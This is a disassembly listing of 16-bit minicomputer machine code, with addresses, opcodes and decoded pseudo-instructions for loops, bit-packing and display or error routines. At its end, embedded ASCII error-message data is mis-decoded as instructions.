0x00DD (0x0001BA) 0x1800-0x0319 f:00014 d: 0 | A = 793 (0x0319)
0x00DF (0x0001BE) 0x2403- f:00022 d: 3 | A = A + OR[3]
0x00E0 (0x0001C0) 0x2920- f:00024 d: 288 | OR[288] = A
0x00E1 (0x0001C2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00E2 (0x0001C4) 0x2921- f:00024 d: 289 | OR[289] = A
0x00E3 (0x0001C6) 0x2128- f:00020 d: 296 | A = OR[296]
0x00E4 (0x0001C8) 0x2922- f:00024 d: 290 | OR[290] = A
0x00E5 (0x0001CA) 0x101E- f:00010 d: 30 | A = 30 (0x001E)
0x00E6 (0x0001CC) 0x2923- f:00024 d: 291 | OR[291] = A
0x00E7 (0x0001CE) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x00E8 (0x0001D0) 0x2924- f:00024 d: 292 | OR[292] = A
0x00E9 (0x0001D2) 0x744C- f:00072 d: 76 | R = P + 76 (0x0135)
0x00EA (0x0001D4) 0x701D- f:00070 d: 29 | P = P + 29 (0x0107)
0x00EB (0x0001D6) 0x211A- f:00020 d: 282 | A = OR[282]
0x00EC (0x0001D8) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x00ED (0x0001DA) 0x2908- f:00024 d: 264 | OR[264] = A
0x00EE (0x0001DC) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00EF (0x0001DE) 0x291F- f:00024 d: 287 | OR[287] = A
0x00F0 (0x0001E0) 0x211F- f:00020 d: 287 | A = OR[287]
0x00F1 (0x0001E2) 0x3929- f:00034 d: 297 | (OR[297]) = A
0x00F2 (0x0001E4) 0x211A- f:00020 d: 282 | A = OR[282]
0x00F3 (0x0001E6) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x00F4 (0x0001E8) 0x2908- f:00024 d: 264 | OR[264] = A
0x00F5 (0x0001EA) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00F6 (0x0001EC) 0x291F- f:00024 d: 287 | OR[287] = A
0x00F7 (0x0001EE) 0x2129- f:00020 d: 297 | A = OR[297]
0x00F8 (0x0001F0) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x00F9 (0x0001F2) 0x2908- f:00024 d: 264 | OR[264] = A
0x00FA (0x0001F4) 0x211F- f:00020 d: 287 | A = OR[287]
0x00FB (0x0001F6) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x00FC (0x0001F8) 0x2129- f:00020 d: 297 | A = OR[297]
0x00FD (0x0001FA) 0x2920- f:00024 d: 288 | OR[288] = A
0x00FE (0x0001FC) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x00FF (0x0001FE) 0x2921- f:00024 d: 289 | OR[289] = A
0x0100 (0x000200) 0x1018- f:00010 d: 24 | A = 24 (0x0018)
0x0101 (0x000202) 0x2922- f:00024 d: 290 | OR[290] = A
0x0102 (0x000204) 0x101E- f:00010 d: 30 | A = 30 (0x001E)
0x0103 (0x000206) 0x2923- f:00024 d: 291 | OR[291] = A
0x0104 (0x000208) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x0105 (0x00020A) 0x2925- f:00024 d: 293 | OR[293] = A
0x0106 (0x00020C) 0x7466- f:00072 d: 102 | R = P + 102 (0x016C)
0x0107 (0x00020E) 0x2D2A- f:00026 d: 298 | OR[298] = OR[298] + 1
0x0108 (0x000210) 0x7E03-0x0219 f:00077 d: 3 | R = OR[3]+537 (0x0219)
0x010A (0x000214) 0x2D1B- f:00026 d: 283 | OR[283] = OR[283] + 1
0x010B (0x000216) 0x725D- f:00071 d: 93 | P = P - 93 (0x00AE)
0x010C (0x000218) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x010D (0x00021A) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004)
0x010E (0x00021C) 0x2908- f:00024 d: 264 | OR[264] = A
0x010F (0x00021E) 0x211B- f:00020 d: 283 | A = OR[283]
0x0110 (0x000220) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0111 (0x000222) 0x8423- f:00102 d: 35 | P = P + 35 (0x0134), A = 0
0x0112 (0x000224) 0x74C6- f:00072 d: 198 | R = P + 198 (0x01D8)
0x0113 (0x000226) 0x8602- f:00103 d: 2 | P = P + 2 (0x0115), A # 0
0x0114 (0x000228) 0x701E- f:00070 d: 30 | P = P + 30 (0x0132)
0x0115 (0x00022A) 0x311A- f:00030 d: 282 | A = (OR[282])
0x0116 (0x00022C) 0x291C- f:00024 d: 284 | OR[284] = A
0x0117 (0x00022E) 0x7E03-0x020A f:00077 d: 3 | R = OR[3]+522 (0x020A)
0x0119 (0x000232) 0x211C- f:00020 d: 284 | A = OR[284]
0x011A (0x000234) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x011B (0x000236) 0x1207- f:00011 d: 7 | A = A & 7 (0x0007)
0x011C (0x000238) 0x2920- f:00024 d: 288 | OR[288] = A
0x011D (0x00023A) 0x2120- f:00020 d: 288 | A = OR[288]
0x011E (0x00023C) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x011F (0x00023E) 0x1C00-0x02C9 f:00016 d: 0 | A = A + 713 (0x02C9)
0x0121 (0x000242) 0x2403- f:00022 d: 3 | A = A + OR[3]
0x0122 (0x000244) 0x2920- f:00024 d: 288 | OR[288] = A
0x0123 (0x000246) 0x3120- f:00030 d: 288 | A = (OR[288])
0x0124 (0x000248) 0x8602- f:00103 d: 2 | P = P + 2 (0x0126), A # 0
0x0125 (0x00024A) 0x700A- f:00070 d: 10 | P = P + 10 (0x012F)
0x0126 (0x00024C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0127 (0x00024E) 0x2921- f:00024 d: 289 | OR[289] = A
0x0128 (0x000250) 0x2128- f:00020 d: 296 | A = OR[296]
0x0129 (0x000252) 0x2922- f:00024 d: 290 | OR[290] = A
0x012A (0x000254) 0x102A- f:00010 d: 42 | A = 42 (0x002A)
0x012B (0x000256) 0x2923- f:00024 d: 291 | OR[291] = A
0x012C (0x000258) 0x1004- f:00010 d: 4 | A = 4 (0x0004)
0x012D (0x00025A) 0x2924- f:00024 d: 292 | OR[292] = A
0x012E (0x00025C) 0x7407- f:00072 d: 7 | R = P + 7 (0x0135)
0x012F (0x00025E) 0x2D2A- f:00026 d: 298 | OR[298] = OR[298] + 1
0x0130 (0x000260) 0x7E03-0x0219 f:00077 d: 3 | R = OR[3]+537 (0x0219)
0x0132 (0x000264) 0x2D1B- f:00026 d: 283 | OR[283] = OR[283] + 1
0x0133 (0x000266) 0x7227- f:00071 d: 39 | P = P - 39 (0x010C)
0x0134 (0x000268) 0x0200- f:00001 d: 0 | EXIT
0x0135 (0x00026A) 0x2121- f:00020 d: 289 | A = OR[289]
0x0136 (0x00026C) 0x290F- f:00024 d: 271 | OR[271] = A
0x0137 (0x00026E) 0x2123- f:00020 d: 291 | A = OR[291]
0x0138 (0x000270) 0x2910- f:00024 d: 272 | OR[272] = A
0x0139 (0x000272) 0x2124- f:00020 d: 292 | A = OR[292]
0x013A (0x000274) 0x2911- f:00024 d: 273 | OR[273] = A
0x013B (0x000276) 0x702E- f:00070 d: 46 | P = P + 46 (0x0169)
0x013C (0x000278) 0x210F- f:00020 d: 271 | A = OR[271]
0x013D (0x00027A) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x013E (0x00027C) 0x2520- f:00022 d: 288 | A = A + OR[288]
0x013F (0x00027E) 0x290D- f:00024 d: 269 | OR[269] = A
0x0140 (0x000280) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0141 (0x000282) 0x290D- f:00024 d: 269 | OR[269] = A
0x0142 (0x000284) 0x210F- f:00020 d: 271 | A = OR[271]
0x0143 (0x000286) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x0144 (0x000288) 0x2908- f:00024 d: 264 | OR[264] = A
0x0145 (0x00028A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0146 (0x00028C) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0147 (0x00028E) 0x8604- f:00103 d: 4 | P = P + 4 (0x014B), A # 0
0x0148 (0x000290) 0x210D- f:00020 d: 269 | A = OR[269]
0x0149 (0x000292) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x014A (0x000294) 0x290D- f:00024 d: 269 | OR[269] = A
0x014B (0x000296) 0x210D- f:00020 d: 269 | A = OR[269]
0x014C (0x000298) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x014D (0x00029A) 0x2912- f:00024 d: 274 | OR[274] = A
0x014E (0x00029C) 0x2D0F- f:00026 d: 271 | OR[271] = OR[271] + 1
0x014F (0x00029E) 0x2112- f:00020 d: 274 | A = OR[274]
0x0150 (0x0002A0) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0151 (0x0002A2) 0x290D- f:00024 d: 269 | OR[269] = A
0x0152 (0x0002A4) 0x2110- f:00020 d: 272 | A = OR[272]
0x0153 (0x0002A6) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x0154 (0x0002A8) 0x2528- f:00022 d: 296 | A = A + OR[296]
0x0155 (0x0002AA) 0x290E- f:00024 d: 270 | OR[270] = A
0x0156 (0x0002AC) 0x2110- f:00020 d: 272 | A = OR[272]
0x0157 (0x0002AE) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x0158 (0x0002B0) 0x2908- f:00024 d: 264 | OR[264] = A
0x0159 (0x0002B2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x015A (0x0002B4) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x015B (0x0002B6) 0x8607- f:00103 d: 7 | P = P + 7 (0x0162), A # 0
0x015C (0x0002B8) 0x310E- f:00030 d: 270 | A = (OR[270])
0x015D (0x0002BA) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x015E (0x0002BC) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x015F (0x0002BE) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x0160 (0x0002C0) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x0161 (0x0002C2) 0x7006- f:00070 d: 6 | P = P + 6 (0x0167)
0x0162 (0x0002C4) 0x310E- f:00030 d: 270 | A = (OR[270])
0x0163 (0x0002C6) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x0165 (0x0002CA) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x0166 (0x0002CC) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x0167 (0x0002CE) 0x2D10- f:00026 d: 272 | OR[272] = OR[272] + 1
0x0168 (0x0002D0) 0x2F11- f:00027 d: 273 | OR[273] = OR[273] - 1
0x0169 (0x0002D2) 0x2111- f:00020 d: 273 | A = OR[273]
0x016A (0x0002D4) 0x8E2E- f:00107 d: 46 | P = P - 46 (0x013C), A # 0
0x016B (0x0002D6) 0x0200- f:00001 d: 0 | EXIT
0x016C (0x0002D8) 0x2122- f:00020 d: 290 | A = OR[290]
0x016D (0x0002DA) 0x2913- f:00024 d: 275 | OR[275] = A
0x016E (0x0002DC) 0x2113- f:00020 d: 275 | A = OR[275]
0x016F (0x0002DE) 0x1603- f:00013 d: 3 | A = A - 3 (0x0003)
0x0170 (0x0002E0) 0x8002- f:00100 d: 2 | P = P + 2 (0x0172), C = 0
0x0171 (0x0002E2) 0x8602- f:00103 d: 2 | P = P + 2 (0x0173), A # 0
0x0172 (0x0002E4) 0x7005- f:00070 d: 5 | P = P + 5 (0x0177)
0x0173 (0x0002E6) 0x2113- f:00020 d: 275 | A = OR[275]
0x0174 (0x0002E8) 0x1603- f:00013 d: 3 | A = A - 3 (0x0003)
0x0175 (0x0002EA) 0x2913- f:00024 d: 275 | OR[275] = A
0x0176 (0x0002EC) 0x7208- f:00071 d: 8 | P = P - 8 (0x016E)
0x0177 (0x0002EE) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0178 (0x0002F0) 0x2915- f:00024 d: 277 | OR[277] = A
0x0179 (0x0002F2) 0x2122- f:00020 d: 290 | A = OR[290]
0x017A (0x0002F4) 0x845D- f:00102 d: 93 | P = P + 93 (0x01D7), A = 0
0x017B (0x0002F6) 0x2125- f:00020 d: 293 | A = OR[293]
0x017C (0x0002F8) 0x845B- f:00102 d: 91 | P = P + 91 (0x01D7), A = 0
0x017D (0x0002FA) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x017E (0x0002FC) 0x2914- f:00024 d: 276 | OR[276] = A
0x017F (0x0002FE) 0x2121- f:00020 d: 289 | A = OR[289]
0x0180 (0x000300) 0x2911- f:00024 d: 273 | OR[273] = A
0x0181 (0x000302) 0x2120- f:00020 d: 288 | A = OR[288]
0x0182 (0x000304) 0x290E- f:00024 d: 270 | OR[270] = A
0x0183 (0x000306) 0x2113- f:00020 d: 275 | A = OR[275]
0x0184 (0x000308) 0x290F- f:00024 d: 271 | OR[271] = A
0x0185 (0x00030A) 0x210F- f:00020 d: 271 | A = OR[271]
0x0186 (0x00030C) 0x841C- f:00102 d: 28 | P = P + 28 (0x01A2), A = 0
0x0187 (0x00030E) 0x2111- f:00020 d: 273 | A = OR[273]
0x0188 (0x000310) 0x1610- f:00013 d: 16 | A = A - 16 (0x0010)
0x0189 (0x000312) 0x8006- f:00100 d: 6 | P = P + 6 (0x018F), C = 0
0x018A (0x000314) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x018B (0x000316) 0x2111- f:00020 d: 273 | A = OR[273]
0x018C (0x000318) 0x1610- f:00013 d: 16 | A = A - 16 (0x0010)
0x018D (0x00031A) 0x2911- f:00024 d: 273 | OR[273] = A
0x018E (0x00031C) 0x7209- f:00071 d: 9 | P = P - 9 (0x0185)
0x018F (0x00031E) 0x100F- f:00010 d: 15 | A = 15 (0x000F)
0x0190 (0x000320) 0x2711- f:00023 d: 273 | A = A - OR[273]
0x0191 (0x000322) 0x120F- f:00011 d: 15 | A = A & 15 (0x000F)
0x0192 (0x000324) 0x5800- f:00054 d: 0 | B = A
0x0193 (0x000326) 0x2111- f:00020 d: 273 | A = OR[273]
0x0194 (0x000328) 0x0804- f:00004 d: 4 | A = A > 4 (0x0004)
0x0195 (0x00032A) 0x250E- f:00022 d: 270 | A = A + OR[270]
0x0196 (0x00032C) 0x290D- f:00024 d: 269 | OR[269] = A
0x0197 (0x00032E) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0198 (0x000330) 0x4800- f:00044 d: 0 | A = A > B
0x0199 (0x000332) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x019A (0x000334) 0x2910- f:00024 d: 272 | OR[272] = A
0x019B (0x000336) 0x2114- f:00020 d: 276 | A = OR[276]
0x019C (0x000338) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x019D (0x00033A) 0x2510- f:00022 d: 272 | A = A + OR[272]
0x019E (0x00033C) 0x2914- f:00024 d: 276 | OR[276] = A
0x019F (0x00033E) 0x2D11- f:00026 d: 273 | OR[273] = OR[273] + 1
0x01A0 (0x000340) 0x2F0F- f:00027 d: 271 | OR[271] = OR[271] - 1
0x01A1 (0x000342) 0x721C- f:00071 d: 28 | P = P - 28 (0x0185)
0x01A2 (0x000344) 0x2121- f:00020 d: 289 | A = OR[289]
0x01A3 (0x000346) 0x2513- f:00022 d: 275 | A = A + OR[275]
0x01A4 (0x000348) 0x2921- f:00024 d: 289 | OR[289] = A
0x01A5 (0x00034A) 0x2122- f:00020 d: 290 | A = OR[290]
0x01A6 (0x00034C) 0x2713- f:00023 d: 275 | A = A - OR[275]
0x01A7 (0x00034E) 0x2922- f:00024 d: 290 | OR[290] = A
0x01A8 (0x000350) 0x1003- f:00010 d: 3 | A = 3 (0x0003)
0x01A9 (0x000352) 0x2913- f:00024 d: 275 | OR[275] = A
0x01AA (0x000354) 0x1030- f:00010 d: 48 | A = 48 (0x0030)
0x01AB (0x000356) 0x2B14- f:00025 d: 276 | OR[276] = A + OR[276]
0x01AC (0x000358) 0x2115- f:00020 d: 277 | A = OR[277]
0x01AD (0x00035A) 0x8402- f:00102 d: 2 | P = P + 2 (0x01AF), A = 0
0x01AE (0x00035C) 0x700C- f:00070 d: 12 | P = P + 12 (0x01BA)
0x01AF (0x00035E) 0x2114- f:00020 d: 276 | A = OR[276]
0x01B0 (0x000360) 0x1630- f:00013 d: 48 | A = A - 48 (0x0030)
0x01B1 (0x000362) 0x8402- f:00102 d: 2 | P = P + 2 (0x01B3), A = 0
0x01B2 (0x000364) 0x7008- f:00070 d: 8 | P = P + 8 (0x01BA)
0x01B3 (0x000366) 0x2125- f:00020 d: 293 | A = OR[293]
0x01B4 (0x000368) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x01B5 (0x00036A) 0x8004- f:00100 d: 4 | P = P + 4 (0x01B9), C = 0
0x01B6 (0x00036C) 0x8403- f:00102 d: 3 | P = P + 3 (0x01B9), A = 0
0x01B7 (0x00036E) 0x1020- f:00010 d: 32 | A = 32 (0x0020)
0x01B8 (0x000370) 0x2914- f:00024 d: 276 | OR[276] = A
0x01B9 (0x000372) 0x7003- f:00070 d: 3 | P = P + 3 (0x01BC)
0x01BA (0x000374) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x01BB (0x000376) 0x2915- f:00024 d: 277 | OR[277] = A
0x01BC (0x000378) 0x2114- f:00020 d: 276 | A = OR[276]
0x01BD (0x00037A) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x01BE (0x00037C) 0x290D- f:00024 d: 269 | OR[269] = A
0x01BF (0x00037E) 0x2123- f:00020 d: 291 | A = OR[291]
0x01C0 (0x000380) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x01C1 (0x000382) 0x2528- f:00022 d: 296 | A = A + OR[296]
0x01C2 (0x000384) 0x290E- f:00024 d: 270 | OR[270] = A
0x01C3 (0x000386) 0x2123- f:00020 d: 291 | A = OR[291]
0x01C4 (0x000388) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x01C5 (0x00038A) 0x2908- f:00024 d: 264 | OR[264] = A
0x01C6 (0x00038C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01C7 (0x00038E) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x01C8 (0x000390) 0x8607- f:00103 d: 7 | P = P + 7 (0x01CF), A # 0
0x01C9 (0x000392) 0x310E- f:00030 d: 270 | A = (OR[270])
0x01CA (0x000394) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x01CB (0x000396) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x01CC (0x000398) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x01CD (0x00039A) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x01CE (0x00039C) 0x7006- f:00070 d: 6 | P = P + 6 (0x01D4)
0x01CF (0x00039E) 0x310E- f:00030 d: 270 | A = (OR[270])
0x01D0 (0x0003A0) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x01D2 (0x0003A4) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x01D3 (0x0003A6) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x01D4 (0x0003A8) 0x2D23- f:00026 d: 291 | OR[291] = OR[291] + 1
0x01D5 (0x0003AA) 0x2F25- f:00027 d: 293 | OR[293] = OR[293] - 1
0x01D6 (0x0003AC) 0x725D- f:00071 d: 93 | P = P - 93 (0x0179)
0x01D7 (0x0003AE) 0x0200- f:00001 d: 0 | EXIT
0x01D8 (0x0003B0) 0x211B- f:00020 d: 283 | A = OR[283]
0x01D9 (0x0003B2) 0x0A02- f:00005 d: 2 | A = A < 2 (0x0002)
0x01DA (0x0003B4) 0x2452- f:00022 d: 82 | A = A + OR[82]
0x01DB (0x0003B6) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004)
0x01DC (0x0003B8) 0x291A- f:00024 d: 282 | OR[282] = A
0x01DD (0x0003BA) 0x211A- f:00020 d: 282 | A = OR[282]
0x01DE (0x0003BC) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x01DF (0x0003BE) 0x2908- f:00024 d: 264 | OR[264] = A
0x01E0 (0x0003C0) 0x3108- f:00030 d: 264 | A = (OR[264])
0x01E1 (0x0003C2) 0x291C- f:00024 d: 284 | OR[284] = A
0x01E2 (0x0003C4) 0x8602- f:00103 d: 2 | P = P + 2 (0x01E4), A # 0
0x01E3 (0x0003C6) 0x0200- f:00001 d: 0 | EXIT
0x01E4 (0x0003C8) 0x1800-0x02D9 f:00014 d: 0 | A = 729 (0x02D9)
0x01E6 (0x0003CC) 0x2403- f:00022 d: 3 | A = A + OR[3]
0x01E7 (0x0003CE) 0x251B- f:00022 d: 283 | A = A + OR[283]
0x01E8 (0x0003D0) 0x2920- f:00024 d: 288 | OR[288] = A
0x01E9 (0x0003D2) 0x3120- f:00030 d: 288 | A = (OR[288])
0x01EA (0x0003D4) 0x2403- f:00022 d: 3 | A = A + OR[3]
0x01EB (0x0003D6) 0x2920- f:00024 d: 288 | OR[288] = A
0x01EC (0x0003D8) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01ED (0x0003DA) 0x2921- f:00024 d: 289 | OR[289] = A
0x01EE (0x0003DC) 0x2128- f:00020 d: 296 | A = OR[296]
0x01EF (0x0003DE) 0x2922- f:00024 d: 290 | OR[290] = A
0x01F0 (0x0003E0) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01F1 (0x0003E2) 0x2923- f:00024 d: 291 | OR[291] = A
0x01F2 (0x0003E4) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x01F3 (0x0003E6) 0x2924- f:00024 d: 292 | OR[292] = A
0x01F4 (0x0003E8) 0x76BF- f:00073 d: 191 | R = P - 191 (0x0135)
0x01F5 (0x0003EA) 0x211C- f:00020 d: 284 | A = OR[284]
0x01F6 (0x0003EC) 0x3929- f:00034 d: 297 | (OR[297]) = A
0x01F7 (0x0003EE) 0x2129- f:00020 d: 297 | A = OR[297]
0x01F8 (0x0003F0) 0x2920- f:00024 d: 288 | OR[288] = A
0x01F9 (0x0003F2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01FA (0x0003F4) 0x2921- f:00024 d: 289 | OR[289] = A
0x01FB (0x0003F6) 0x1010- f:00010 d: 16 | A = 16 (0x0010)
0x01FC (0x0003F8) 0x2922- f:00024 d: 290 | OR[290] = A
0x01FD (0x0003FA) 0x1043- f:00010 d: 67 | A = 67 (0x0043)
0x01FE (0x0003FC) 0x2923- f:00024 d: 291 | OR[291] = A
0x01FF (0x0003FE) 0x1006- f:00010 d: 6 | A = 6 (0x0006)
0x0200 (0x000400) 0x2925- f:00024 d: 293 | OR[293] = A
0x0201 (0x000402) 0x7695- f:00073 d: 149 | R = P - 149 (0x016C)
0x0202 (0x000404) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x0203 (0x000406) 0x0200- f:00001 d: 0 | EXIT
0x0204 (0x000408) 0x211C- f:00020 d: 284 | A = OR[284]
0x0205 (0x00040A) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0206 (0x00040C) 0x3929- f:00034 d: 297 | (OR[297]) = A
0x0207 (0x00040E) 0x2129- f:00020 d: 297 | A = OR[297]
0x0208 (0x000410) 0x2920- f:00024 d: 288 | OR[288] = A
0x0209 (0x000412) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x020A (0x000414) 0x2921- f:00024 d: 289 | OR[289] = A
0x020B (0x000416) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x020C (0x000418) 0x2922- f:00024 d: 290 | OR[290] = A
0x020D (0x00041A) 0x100D- f:00010 d: 13 | A = 13 (0x000D)
0x020E (0x00041C) 0x2923- f:00024 d: 291 | OR[291] = A
0x020F (0x00041E) 0x1004- f:00010 d: 4 | A = 4 (0x0004)
0x0210 (0x000420) 0x2925- f:00024 d: 293 | OR[293] = A
0x0211 (0x000422) 0x76A5- f:00073 d: 165 | R = P - 165 (0x016C)
0x0212 (0x000424) 0x0200- f:00001 d: 0 | EXIT
0x0213 (0x000426) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0214 (0x000428) 0x2920- f:00024 d: 288 | OR[288] = A
0x0215 (0x00042A) 0x104F- f:00010 d: 79 | A = 79 (0x004F)
0x0216 (0x00042C) 0x2921- f:00024 d: 289 | OR[289] = A
0x0217 (0x00042E) 0x741E- f:00072 d: 30 | R = P + 30 (0x0235)
0x0218 (0x000430) 0x2128- f:00020 d: 296 | A = OR[296]
0x0219 (0x000432) 0x7E00-0x22B8 f:00077 d: 0 | R = OR[0]+8888 (0x22B8)
0x021B (0x000436) 0x1800-0x0A0D f:00014 d: 0 | A = 2573 (0x0A0D)
0x021D (0x00043A) 0x3928- f:00034 d: 296 | (OR[296]) = A
0x021E (0x00043C) 0x2128- f:00020 d: 296 | A = OR[296]
0x021F (0x00043E) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0220 (0x000440) 0x2908- f:00024 d: 264 | OR[264] = A
0x0221 (0x000442) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0222 (0x000444) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0223 (0x000446) 0x2128- f:00020 d: 296 | A = OR[296]
0x0224 (0x000448) 0x7E00-0x22B8 f:00077 d: 0 | R = OR[0]+8888 (0x22B8)
0x0226 (0x00044C) 0x7402- f:00072 d: 2 | R = P + 2 (0x0228)
0x0227 (0x00044E) 0x0200- f:00001 d: 0 | EXIT
0x0228 (0x000450) 0x2128- f:00020 d: 296 | A = OR[296]
0x0229 (0x000452) 0x2926- f:00024 d: 294 | OR[294] = A
0x022A (0x000454) 0x2128- f:00020 d: 296 | A = OR[296]
0x022B (0x000456) 0x1428- f:00012 d: 40 | A = A + 40 (0x0028)
0x022C (0x000458) 0x2927- f:00024 d: 295 | OR[295] = A
0x022D (0x00045A) 0x1800-0x2020 f:00014 d: 0 | A = 8224 (0x2020)
0x022F (0x00045E) 0x3926- f:00034 d: 294 | (OR[294]) = A
0x0230 (0x000460) 0x2D26- f:00026 d: 294 | OR[294] = OR[294] + 1
0x0231 (0x000462) 0x4200- f:00041 d: 0 | C = 1, io 0000 (IOR) = BZ
0x0232 (0x000464) 0x2727- f:00023 d: 295 | A = A - OR[295]
0x0233 (0x000466) 0x8806- f:00104 d: 6 | P = P - 6 (0x022D), C = 0
0x0234 (0x000468) 0x0200- f:00001 d: 0 | EXIT
0x0235 (0x00046A) 0x2120- f:00020 d: 288 | A = OR[288]
0x0236 (0x00046C) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0237 (0x00046E) 0x290D- f:00024 d: 269 | OR[269] = A
0x0238 (0x000470) 0x2121- f:00020 d: 289 | A = OR[289]
0x0239 (0x000472) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x023A (0x000474) 0x2528- f:00022 d: 296 | A = A + OR[296]
0x023B (0x000476) 0x290E- f:00024 d: 270 | OR[270] = A
0x023C (0x000478) 0x2121- f:00020 d: 289 | A = OR[289]
0x023D (0x00047A) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x023E (0x00047C) 0x2908- f:00024 d: 264 | OR[264] = A
0x023F (0x00047E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0240 (0x000480) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0241 (0x000482) 0x8607- f:00103 d: 7 | P = P + 7 (0x0248), A # 0
0x0242 (0x000484) 0x310E- f:00030 d: 270 | A = (OR[270])
0x0243 (0x000486) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x0244 (0x000488) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x0245 (0x00048A) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x0246 (0x00048C) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x0247 (0x00048E) 0x7006- f:00070 d: 6 | P = P + 6 (0x024D)
0x0248 (0x000490) 0x310E- f:00030 d: 270 | A = (OR[270])
0x0249 (0x000492) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x024B (0x000496) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x024C (0x000498) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x024D (0x00049A) 0x0200- f:00001 d: 0 | EXIT
0x024E (0x00049C) 0x4552- f:00042 d: 338 | C = 1, IOB = DN | **** non-standard encoding with D:0x0152 ****
0x024F (0x00049E) 0x524F- f:00051 d: 79 | A = A & B | **** non-standard encoding with D:0x004F ****
0x0250 (0x0004A0) 0x5220- f:00051 d: 32 | A = A & B | **** non-standard encoding with D:0x0020 ****
0x0251 (0x0004A2) 0x4449- f:00042 d: 73 | C = 1, IOB = DN | **** non-standard encoding with D:0x0049 ****
0x0252 (0x0004A4) 0x5350- f:00051 d: 336 | A = A & B | **** non-standard encoding with D:0x0150 ****
0x0253 (0x0004A6) 0x4C41- f:00046 d: 65 | A = A >> B | **** non-standard encoding with D:0x0041 ****
0x0254 (0x0004A8) 0x5920- f:00054 d: 288 | B = A | **** non-standard encoding with D:0x0120 ****
0x0255 (0x0004AA) 0x4552- f:00042 d: 338 | C = 1, IOB = DN | **** non-standard encoding with D:0x0152 ****
0x0256 (0x0004AC) 0x524F- f:00051 d: 79 | A = A & B | **** non-standard encoding with D:0x004F ****
0x0257 (0x0004AE) 0x5220- f:00051 d: 32 | A = A & B | **** non-standard encoding with D:0x0020 ****
0x0258 (0x0004B0) 0x4348- f:00041 d: 328 | C = 1, io 0510 = BZ
0x0259 (0x0004B2) 0x414E- f:00040 d: 334 | C = 1, io 0516 = DN
